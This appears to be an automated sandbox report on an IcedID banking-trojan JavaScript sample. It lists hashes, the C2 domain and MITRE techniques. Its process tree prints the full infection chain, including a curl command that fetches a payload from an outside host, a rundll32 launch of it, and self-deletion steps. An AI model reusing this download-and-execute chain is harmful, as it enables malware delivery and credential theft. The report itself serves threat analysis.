icedid | bef13d6455aa5e949c2952d609fd09e34e53b7ead3b3d84c3018e489fb1f027f

Resubmissions

15/11/2023, 19:31

231115-x8j9gadf5610

06/11/2023, 04:22

231106-ezdffsgh4110

Analysis

max time kernel
141s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
06/11/2023, 04:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2da0b937-aa51-3ea7-a191-69aa951fe75b.js
Size 54KB
Sample231106-ezdffsgh41
SHA256 bef13d6455aa5e949c2952d609fd09e34e53b7ead3b3d84c3018e489fb1f027f
MD5 e11d27dad9d6a484061fed8406b1b4ba
SHA1 7a97b146c0ecac61b41a267b45c66fb9ae9e26cd
SHA512 d0c0db630c0dc813898989cb437d2922e5a53c14792a3487ce560bace02ea6ea50af669e134850a2ec5ef1f3fce08a716a01f166f7b467b39ec042c38c00e1c5
SSDEEP 768:eO9Gvm/iZquBaXkiEhLGgwHi+7GobjM2Eg60cvmqr:eO9GddwHi+7xjVEvZvmI
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

icedid 548427575 banker loader trojan

Malware Config

Extracted

Family

icedid

Campaign

548427575

iosninjafisk.com

Signatures

IcedID, BokBot
IcedID is a banking trojan capable of stealing credentials.
trojan banker icedid
Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 1 IoCs

pid	Process
980	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
2860	Process not Found
2860	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
980	rundll32.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1940 wrote to memory of 856	1940	wscript.exe	88
PID 1940 wrote to memory of 856	1940	wscript.exe	88
PID 1940 wrote to memory of 3120	1940	wscript.exe	90
PID 1940 wrote to memory of 3120	1940	wscript.exe	90
PID 3120 wrote to memory of 1228	3120	cmd.exe	92
PID 3120 wrote to memory of 1228	3120	cmd.exe	92
PID 3120 wrote to memory of 4176	3120	cmd.exe	93
PID 3120 wrote to memory of 4176	3120	cmd.exe	93
PID 1940 wrote to memory of 2188	1940	wscript.exe	94
PID 1940 wrote to memory of 2188	1940	wscript.exe	94
PID 1940 wrote to memory of 2784	1940	wscript.exe	96
PID 1940 wrote to memory of 2784	1940	wscript.exe	96
PID 2784 wrote to memory of 2668	2784	cmd.exe	98
PID 2784 wrote to memory of 2668	2784	cmd.exe	98
PID 1940 wrote to memory of 4012	1940	wscript.exe	105
PID 1940 wrote to memory of 4012	1940	wscript.exe	105
PID 1940 wrote to memory of 980	1940	wscript.exe	107
PID 1940 wrote to memory of 980	1940	wscript.exe	107

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2da0b937-aa51-3ea7-a191-69aa951fe75b.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\2da0b937-aa51-3ea7-a191-69aa951fe75b.js"
  2⤵
  PID:856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo|set /p="cu" > "C:\Users\Admin\AppData\Local\Temp\cumque.q.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo"
    3⤵
    PID:1228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" set /p="cu" 1>"C:\Users\Admin\AppData\Local\Temp\cumque.q.bat""
    3⤵
    PID:4176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo rl "https://saogoncalomedicina.com.br/TOP/4129/320ca3f6/?cable=198832.219" --output "C:\Users\Admin\AppData\Local\Temp\\vero.q" --ssl-no-revoke --insecure --location >> "C:\Users\Admin\AppData\Local\Temp\cumque.q.bat"
  2⤵
  PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\cumque.q.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\system32\curl.exe
    curl "https://saogoncalomedicina.com.br/TOP/4129/320ca3f6/?cable=198832.219" --output "C:\Users\Admin\AppData\Local\Temp\\vero.q" --ssl-no-revoke --insecure --location
    3⤵
    PID:2668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\cumque.q.bat"
  2⤵
  PID:4012
- C:\Windows\System32\rundll32.exe
  "C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\\vero.q" scab /k redit739
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

cumque.q.bat

Path C:\Users\Admin\AppData\Local\Temp\cumque.q.bat
Size 170B
SHA256 4d7c7e32ed6a3bd24f3e2e32b2ace831349c0caace4e7c1d3fd6d065f269b8bc
MD5 1198fa4486b382bc05b322fe52655020
SHA1 2d72bab9a1d3fdb868a55c169cd4b30a650f6f84
SHA512 a30e51cf8ae6a6b62717d5f7ed1d0bdd32eefd3c4780a5a2d1ec7322885304c200aa1b5f8e1eedd5e7b0fa0ace384fb1452cb9c9c58bde92833772e88baa5d9f
MD5 SHA1 SHA512

Submit Download

cumque.q.bat

Path C:\Users\Admin\AppData\Local\Temp\cumque.q.bat
Size 170B
SHA256 4d7c7e32ed6a3bd24f3e2e32b2ace831349c0caace4e7c1d3fd6d065f269b8bc
MD5 1198fa4486b382bc05b322fe52655020
SHA1 2d72bab9a1d3fdb868a55c169cd4b30a650f6f84
SHA512 a30e51cf8ae6a6b62717d5f7ed1d0bdd32eefd3c4780a5a2d1ec7322885304c200aa1b5f8e1eedd5e7b0fa0ace384fb1452cb9c9c58bde92833772e88baa5d9f
MD5 SHA1 SHA512

Submit Download

vero.q

Path C:\Users\Admin\AppData\Local\Temp\vero.q
Size 356KB
SHA256 28df6780dc48472e59dc59b449a9fc7d0e1431207014202eee2217c1e5357fac
MD5 93c774a797a9c7dc86081e2f3758d9da
SHA1 f29dd99de519f3ceb0c65746f83428365978f7fa
SHA512 e05b3d31bb868d815d7dba7f446c30aca996b8749b63c1aea715e2efa3616a60e930dd234561cc3eefe8a9f1cfef9740c71c9bef44f5708c3d6bc3eaee6e8f26
SSDEEP 6144:OndqDim64W44od8wyW9I8RbxL2dmaWJD36apvtiAW:OQIud8wy6I8jMGtpliAW
MD5 SHA1 SHA512 SSDEEP

Submit Download

vero.q

Path C:\Users\Admin\AppData\Local\Temp\vero.q
Size 356KB
SHA256 28df6780dc48472e59dc59b449a9fc7d0e1431207014202eee2217c1e5357fac
MD5 93c774a797a9c7dc86081e2f3758d9da
SHA1 f29dd99de519f3ceb0c65746f83428365978f7fa
SHA512 e05b3d31bb868d815d7dba7f446c30aca996b8749b63c1aea715e2efa3616a60e930dd234561cc3eefe8a9f1cfef9740c71c9bef44f5708c3d6bc3eaee6e8f26
SSDEEP 6144:OndqDim64W44od8wyW9I8RbxL2dmaWJD36apvtiAW:OQIud8wy6I8jMGtpliAW
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/980-7-0x0000019676A90000-0x0000019676A94000-memory.dmp

Download

memory/2860-8-0x00007FF91F591000-0x00007FF91F592000-memory.dmp

Download

memory/2860-9-0x0000000180000000-0x0000000180009000-memory.dmp

Download

memory/2860-16-0x00007FF91F591000-0x00007FF91F592000-memory.dmp

Download